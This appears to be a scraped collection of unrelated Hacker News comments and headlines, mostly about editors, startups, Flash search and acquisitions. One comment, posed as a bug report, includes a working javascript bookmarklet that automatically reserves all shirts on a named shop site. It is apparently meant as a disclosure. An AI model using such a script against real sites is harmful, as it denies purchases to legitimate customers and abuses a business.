skysight-inc/HackerNews huggingface dataset:
I learned emacs not too long ago, and I was amazed that the better principles were established so much earlier and abandoned for new tools. One thing about its philosophy I think makes it better is the consistency of everything being buffers, commands, and keystrokes. Eclipse has multiple kinds of buffers, views, panels, dialogs, and keys, menus, toolbars, docks, etc., that aren't interchangeable. It reminds me of the syntax philosophies of Lisp and Java - the tools follow the languages.
Good analysis huhtenberg. It's kind of a neat idea but you've brought up some very valid caveats..
Keep going. You don't know what opportunities lie ahead . We make our own "luck" by creating opportunities for "luck" to happen. So until their is a definite reason to stop (such as no more cash), keep going and see what happens.
Why not contact Google and Yahoo and see if they are interested in acquiring you? It couldn't hurt.

Also this is perhaps the downside of waiting too long to launch. Can you rescope this thing and release it sooner? Could you release a flimsy version 1 right now and then improve it and flesh it out over the next few months? Don't worry about solving technological problems that you don't have yet. Solve them when you have them.

I realize Twitter might sound like a counter-example to this line of thinking. But think about it. Imagine if Twitter had not released and was still working on their perfect architecture. Would they even know what the real problems were going to be? They might have squandered their time on non-problems. Plus, no one would know or care about them. So in retrospect, releasing their flimsy app was probably the best thing that they did.
I think they probably had little choice. My understanding is that there are countries where such phones are required to be sold; If AT&T didn't go on to offer them everywhere, we would just see another international grey market spring up.

Better for AT&T to collect a premium themselves than to let some grey marketeer get it.
Isn't Songkick (YC Company) in london -- you might want to check with those guys; and, the seedcamp guys (http://seedcamp.com/)
Perfect opportunity for TIPJOY to step in!
I have yet seen any reference to Hulu on the networks. In fact, Fox prior to this month were still telling people to go to fox.com and use the horrible media player to watch shows on demand.

Having the access to that huge library of content, though, makes it pretty darn hard for other companies to play in the field.
Thanks, I've been holding out for a lyrics site that doesn't make me feel like my computer just contracted the clap.
its a good environment. much better than most. i know a few people working on startups there. there's VC and incubators there, as well as a tech sector.
Dry times in venture-land: IPOs drop to zero in Q2
This is a worrying sign of a bubble if this gets many takers IMHO.
The ads keeps getting replayed because they run out of inventory. They had trouble filling in spots for awhile and resorted to running bumps.
No, carpenters wouldn't use robots that are hard to control.
What should a press release look like and who to send them to?
Hello,
I just launched one of my projects. It helps people write better by comparing their writing to a big database of pet peeves.

Now I'd like to promote the site. I've heard some people suggest a press release. Is it spamming to write something up and send it to various bloggers/writing websites? Have you had any success with this approach?

The website is http://www.polishmywriting.com/ if you're curious.

Thanks.

-- Raphael
Your thought process, while diligent, would never be applied by a customer, and rarely by an investor.

However, neither would gojomo's.
Awesome, Can you email me when you get it done? I would like to personally thank you plus get your permission to use these...

aus (ton) . bunsen [at] geemail
Any vimmers out there who would stay with emacs after giving it a fair shake? Any converts from emacs to vim? I want to hear your story. Thanks.
As someone who's about to start a job as a "boss", I'm going to take "Even if we went to business school, that was two years spent, long-long ago." to heart. Wishing for an article like "80% of your employees hate you: what to do"
Ok, Now It’s Done. Microsoft To Acquire Powerset
Exactly. Figure out the sort of thing that Google and Yahoo don't or won't do, and do that.

You can certainly leverage their marketing. For the next couple of months, the Flash universe is going to be filled with discussions of search. Google and Yahoo are going to do a bunch of marketing, and a bunch of market research, all of which you don't have to pay for. Just monitor some Flash-user forums, watch the users rave and/or complain about the new tools, and see if a niche market presents itself.

Meanwhile: Launch. Get something out there you can point to.
This is crap journalism at its finest. 1MB of SMS messages is about 6,500 texts (assuming that all of the 1MB is SMS, ignore overhead for this conversation). 6,500 texts would be more appropriately classified in the Unlimited $30/mo plan.

So, 1MB of SMS costs $30/mo on AT&T. Unless it's a slow news day and we extrapolate from the worst-case scenario.

Most people who are of a legal age to sign a cellphone contract generally understand that pay-per-use scenarios like this are rarely the best way to go.
Congrats on the idea!

Now do the same for Silverlight and sell the company to msft.

btw: I like the part about Investors on you website :-)
Really? I admit I don't normally use the Emacs bindings in Visual Studio myself, but I just tried them and ctrl-x ctrl-s saves the file just fine for me. (This is using Visual Studio 2005, under the Tools | Customize menu option, Keyboard... button, Emacs keyboard mapping scheme.)
Im a Vim guy, but emacs is fine too. I might learn emacs some day, im not a fan of this religious thing or what ever the emacsVSvim guys try to accomplish.
its not real?
Software to Hardware Parallelization
It's an excuse to hold a worldwide party! What is there to understand? ;)
Hi there. I'm the other founder of the site (Troy made the original post on this thread) and I sent a "Hey, we're doing that too" email to the VP of Yahoo search and the VP of Google search this morning regarding SWF search. Still haven't heard anything back from them as of this post though. Also, we were denied VC funding earlier this year for this same project. Does anyone think that now is a good time to re-submit to the VC group and ask for a second chance while there's a buzz? :)

- Steve Webb ( http://mediawombat.com - http://badcheese.com )
Validated by players that are very likely to crush any start-up into oblivion. I wouldn't be too excited ;).
How about TextMate? It's almost as good as Emacs from a power point of view, but nowhere near as painful to learn, and looks a treat too!
You would need to be paying your web devs something like $3000-$12000/hour for a 'coming soon' page to cost $1000 to do in-house.
I'm in the process of switching from vim to emacs right now. It's frustrating, although viper-mode takes a lot of the pain away, and to be honest I find it a really nice combination to have the vi editing modality readily available within the powerful framework of emacs. Remapping caps lock to Control has helped enormously.

The most notable thing is that emacs encourages you to live in it much more than vim. With vim, I would navigate around in the shell, open up a file in vim, edit, close, repeat. With emacs I'm finding that I spend more time just switching buffers instead of running back to the shell because emacs doesn't simply quit when I kill all my open files. There's always more buffers, so the app stays open and I tend to remain there.

I'm still in the process of getting up to speed with basic editing things, although I've found that the way it manages buffers and what it calls windows (what the rest of the world calls frames these days) is quite easy and quick to use, and I found myself able to navigate around in emacs fairly quickly. All in all, I'm not 100% sure I'll stick with it, but I'm happy so far and I know that I'm still getting over the hump to where I'll be truly productive with it.
The cynic in me says your f'ed. You'll definitely have to repurpose because they have much too much inertia. Once flash search results start showing up in my google results, it'll be like, "oh, thats handy". I can't imagine myself using your site just for flash searches.
I would license the technology. In my industry crawlers are required to perform a sweep and gather data. However, there is a large void in the flash crawling capabilities of various tools. Look for tools that crawl, index, data mine, whatever and see if there are opportunities to provide the flash crawling component through an API license of sorts.
Crunchbase says:

Website:	powerset.com

Location:	San Francisco, California, United States

Founded:	October, 2006

Acquired:	July 1, 2008 by Powerset for $100M

http://www.powerset.com/explore/go/what-is-the-financial-equ...
I'd like to file a bug report.

javascript:var GM_JQ = document.createElement('script');GM_JQ.src = "http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js";
GM_JQ.type = 'text/javascript';document.getElementsByTagName('head')[0].appendChild(GM_JQ);function GM_wait(){if(typeof window.jQuery == 'undefined'){
window.setTimeout(GM_wait,100); }else { $ = window.jQuery; letsJQuery(); }}GM_wait();function letsJQuery(){alert("starting");haxor(1);}function haxor(idx)
{if(idx > 100) { alert("done"); window.location.href="http://200nipples.com/index.php"; return; }$.post("/options.php", { "design_id" : 2, "series_number" : idx });
setTimeout(function() { haxor(idx+1); }, 100);}

Put that all on one line so that it's a URL and copy it, then go to 200nipples.com and paste it in the location bar. It just posts { "design_id" : 2, "series_number" : idx } to "/options.php" for idx in [1,100], which reserves all the shirts so that nobody else can buy them until the timer expires.

I don't think an IP ban is the best way to deal with this problem.
Which is exactly the right thing to do. I don't see the problem.
I agree. I should have added the caveat that "if an investor or if a customer knew how you were handling this aspect of your business".

Fact of the matter is that customers and investors only see these kinds of expenses in very summary form if at all. So it's generally impossible for them to make a decision based on this kind of information.

On the other hand the total expense picture is always a factor in pricing and investment decisions and this one would play a small part in that.

However, a manager that was spending $1,000 for a launch page he/she could have deployed for free or maybe even $5 a month that manager is probably having problems with other aspects of expense management and this would show up in the final pricing and investment picture.
I enjoyed the article Hank. As someone working on developing data-driven machine learning systems for marketing purposes, it made me think twice about some of the conclusions I am able to jump to based only on correlation. Certainly, these methods are quite useful in my field and the other less precise social sciences. In the hard sciences, however, advancing theory without a model seems preposterous save perhaps for a supportive role in special cases.

EDIT: almost feels like a republic (model) vs. democracy (data) political discussion
from their jobs page

MacBook Pros are standard (no more PCs)

heh.
Open-source projects need contributors not complainers. From what I've seen on the Google discussion forum there are dozens and dozens of people using Scalr on their own installs and through the scalr.net service provided. Seems they are using it quite effectively.
Shout to the world what you're working on right now. Now that the information is out there that what you're doing is worth doing, a lot of the media work is already done for you. Call tech mags and blogs and let them know you're already working on something that Adobe just announced, even if it's in beta.

And if you can, even show off the beta so that people and the media can quickly give you feedback, thus improving your site/software at a faster rate. Good luck.
Suppose that someone invents a better way to rank search results.

What are the acceptable ways for such a person to make money from that invention? (Most of the respondents to this message seem to believe that patenting such a method or licensing such a patent is unacceptable. If you think that licensing is acceptable but lawsuits aren't, please explain why anyone would license if patent holders couldn't sue.)
Ok, neat, but this has ridiculous security implications. Anyone can now open up a socket on my server for any purpose they want (hax0ring, etc)

At the very least there should be ways to limit the hosts and ports of the sockets, but even then I'd be very cautious about using this.
Spot on!

- website = Internet
- sales guy humor vs admin guy terseness.
- deleting from exchange email love it
I wouldn't sweat it too much just yet. You don't know when/how Google and Yahoo will add this into their results, and until you launch, find customers, and start iterating, you don't know exactly where you'll end up yourself. You might find yourself not competing with Google head on after all.
Gypsies, Tramps and Thieves: Ethical SEOs and Search Engineers Narc Out SEO Fraud
Scalr is still taking shape as can be expected with any new open-source project. There is a new version that will be released soon which will go a long way in terms of stability and robustness. Keep an eye out for it in a month or so.
Google Is Retiring AdSense Referrals
I think it's a mistake - the article noted a few others as well:

"Exciting as this car seems, I have some qualms about it: For a high end, big investment, the site is fairly amateurish looking, and has multiple typos."
Apple reboots the unlocked iPhone market with a $300 premium
TiVo CEO: The TV industry is screwed, but we can save it
Quick... if he sells all 100 shirts for $1 to $100, how much money will he make...

http://en.wikipedia.org/wiki/Carl_Friedrich_Gauss#Early_year...
Your context-switching costs must be huge!

And no, I'm not talking about the computer.
Tried to click on the 'register now' link, and waited about two minutes for something from 'engine27.woopra.com' to load, and got impatient. The page never loaded.

I don't want my potential users to have this kind of experience.

I would have been a potential customer, but no thanks.
here is one from vancouver, if you are canadian

http://blog.bootuplabs.com/

i don't know much about them personally (ie: i have not actually signed up for funding from them).
Why it Pays to be in Software!
I imagine that you had to have known this would happen sooner or later so my advice would be not to sweat it too much. You decided to enter a niche market that was basically only a niche market because the major players had chosen to overlook it. At any time they had the resources available to move in and you can bet that if you had become popular they would have come along to eat your lunch. If anything, this may even put you in a better position because now you've really got a fire under your ass to do something to separate your product from theirs. There's also the possibility that if you garner enough attention you'll be acquired.

P.S. Very neat search engine. I especially like the ActionScript view.
So what is the point of using Proc instead of lambda then?
I can't see a case where the behavior of proc is the desired behavior (although now that with the difference in my mind I might end up using it one day...)
Spuud - Pass the Potato
<ready for down modding> anyone else think the only reason he is there is because of his age?, not a good speaker and not the smartest person they could find. Sorry just have to be honest
I've converted from emacs to vim, but I'm not sure I gave emacs a "fair shake". Early on I was programming with Windows programs using typical GUI interfaces, although I'd also picked up the appropriate shortcuts of pico, joe, and jed. This made emacs the most comfortable environment for me as I headed into coursework using Linux systems, even though I never used much more than cursor movement, copy/paste, and file saving. At that point, I was pretty sure the vi cheatsheet on the lab wall was some kind of joke, like EDLIN in DOS.

But I later entered a new school with more coursework, and I found the emacs key combinations increasingly uncomfortable. A few of my classmates were using vim and recommended it to me. After several weeks of struggling with vim, I was eventually up to prior levels of productivity, with greater gains in the following months as I picked up more shortcuts.

I feel I perhaps didn't give emacs a fair shake, though, because I never used it as more than a glorified notepad. The feeling I get from the various emacs articles I read online is that you don't see big gains in emacs over, say, vim unless you use a lot of custom elisp... a point I have not yet reached.
DreamIt Ventures 1% Option:  To Give or Not To Give... that is the question!
This sounds like a sensible feature for Google or Yahoo, but you need to think about who would really need to search Flash content - as you suggest on your site, perhaps the Flash Developer community is your likely audience. So do deals with sites involving that.

The point is that very few general users are going to give up on Google results and think "I wonder if what I'm looking for happens to be in a Flash file somewhere". Of course, if it's thrown in for free with Google results then it might be used by general users, but not on its own.

And there are plenty of other new directions that people have suggested for your technology. Probably the best to see a return on your investment so far would be to provide precisely the feature that Google have announced to the second tier of search engines.
I look forward to hearing some feedback...
Or use http://searchyc.com or http://ycombinator.search.xirium.com ...
If you are anything like me, that is, someone who loves the speed and "feel" of vim, but also enjoys the buffers of emacs. You might want to check out vile (vi like emacs). [http://invisible-island.net/vile/]
The test/notest divide is very roughly 50/50, I'd like to know what percentage of testers found tests to actually help catch bugs, and what percentage of notesters wished they had tests because they are confident tests would have caught eventually discovered bugs sooner.

I ask this because the (rails) testing koolaid still tastes funny to me. I wonder if any practice that focuses the attention on code quality, whether TDD, BDD, unit testing, pair programming, cleanroom, etc, would catch the same bugs.
http://news.ycombinator.com/item?id=230838

Same video, different site, submitted 2 days ago.

This is a funny video, but what's also funny is that it made the front page this time.
Actually, I think you're being too generous - I can't see myself using a separate Flash search engine even if Google does NOT also index Flash. As above, you need to think who your target niche really is.
Perhaps you are right. But I don't see anything wrong with boosting the reputation of jQuery as easy to use by demonstrating that a 12 year old (who is not a good speaker or the smartest person they could find) can master jQuery.

Plus, it is kind of cool that a 12 year old can be invited to talk at Google. Makes me wonder if I might have some knowledge to contribute to other areas of thought...
Emacs > TextMate > Vim, so only indirectly what you asked.

With Emacs, I got the feeling that it's the kind of environment where time cultivates appreciation moreso than TM or Vim. I gave Emacs about 1.5 months, and stopped because I didn't want to learn elisp and because I was getting pinky syndrome (I think that's the accepted term).

The switch to TextMate was laughably trivial, and I would have switched out far earlier if it wasn't for some of the slightly more advanced bundles. Interestingly enough, while I learned the snippet system, I found myself using them very sparingly.

My Vim switch was cold turkey, and was reasonably straightforward. I've been seriously typing at a keyboard for a long, long time, but Vim taught me that I didn't know a keyboard as well as I thought. In the beginning, the Vim commands weren't as easy to get to (even if I knew them) as typing prose--I guess typing familiar words just become part of muscle memory. It's been several months now, and I'm both happy with the switch and fairly proficient in Vim.

Gun to my head, I'd take Vim over emacs, but only marginally so. It probably has to do with the fact that I didn't begin to customize my emacs environment. I don't know if that's what I wanted though--I love that I just take my .vimrc (it's quite short), drop it on my server, and the only thing that's different is the fact that my theme is different to what MacVim offers me. It just isn't that easy with emacs--at least, not as easy as carrying around a .vimrc on my thumbdrive and dropping it where I need.
I'm not sure what to make of this. I think Hank is taking the idea that correlation is good enough too seriously. Since I've been playing with correlations at home and learning how people find correlations in huge data sets, I've found that a correlation actually is good enough for most purposes. Think about what the correlation is used for. It makes suggestions on things to buy or things you should explore. It's making suggestions. A movie suggestion is exactly that, a suggestion. It's not an exact science and you can't have a 100% guarantee that a consumer will be into something enough to buy it. It's the same thing as trying to predict the market. The correlations can provide a useful service for getting information to people about things they might like. Hopefully the service makes it easy to buy the product and then the picture seems complete.
Engadget’s Ryan Block and Peter Rojas To Team On New Startup
Confirmed: Powerset joins Live Search
How Facebook stays afloat adding 250,000 users per day
Microsoft to Acquire Powerset
Forecast: Advertisers to Continue Shift to Online
In many respects the developer masses in India go through more rigour than the developer masses in many countries like UK/US, essentially due to the increased competition and overall standards in general in technical education there.

However, even in India developers/firms have been gearing towards work in markets other than enterprise Java and .NET for a long time now, as the competition becomes stronger all around in those fields and first mover advantage has generally been lost/taken by the early players.

Many realise the niches (such as bespoke RoR/Python/other work for smaller clients and individuals) remains largely untapped and profitable. We will soon see more impact by smaller independant Indian firms in these areas and as tech startups in general.
there is no such thing as immediate "automatic" scaling (at least not in the sense as amazon makes it appear).

That said, Yes Scalr is pretty cool, in fact it is almost a godsend for high traffic apps out there... but take this with a grain of salt- establishing server farms using pre-built generic AMIs to load balance your databases can come at a cost...literally.

Scalr still has some way to go but it sure does look promising.
No-Contract iPhone Sells For Same Price as a Tropical Vaca
Tyco "Tackling" It's Way Back To the Top?
Amid Rising Foreclosures, Wachovia Removes Riskiest Loan
Facebook Takes Major Hit With Latest Funding Round
Google Improves Algorithm For Indexing Textual Content In Flash Files
Took me a 2nd read to get the daemons joke...

Very well put, I get the same impression about decomposition. The bottom line is each CPU core can execute some sequence of instructions. If there's more than one core, there can be more than one sequence. Threads are the best current abstraction for that, and this guy goes off on how threads are evil and all this. At the heart of it, there are no objects just data flowing from disk to ram to registers, calculations being performed in the core and data flowing back.

There are always monads in Haskell for really putting concurrency into the forefront...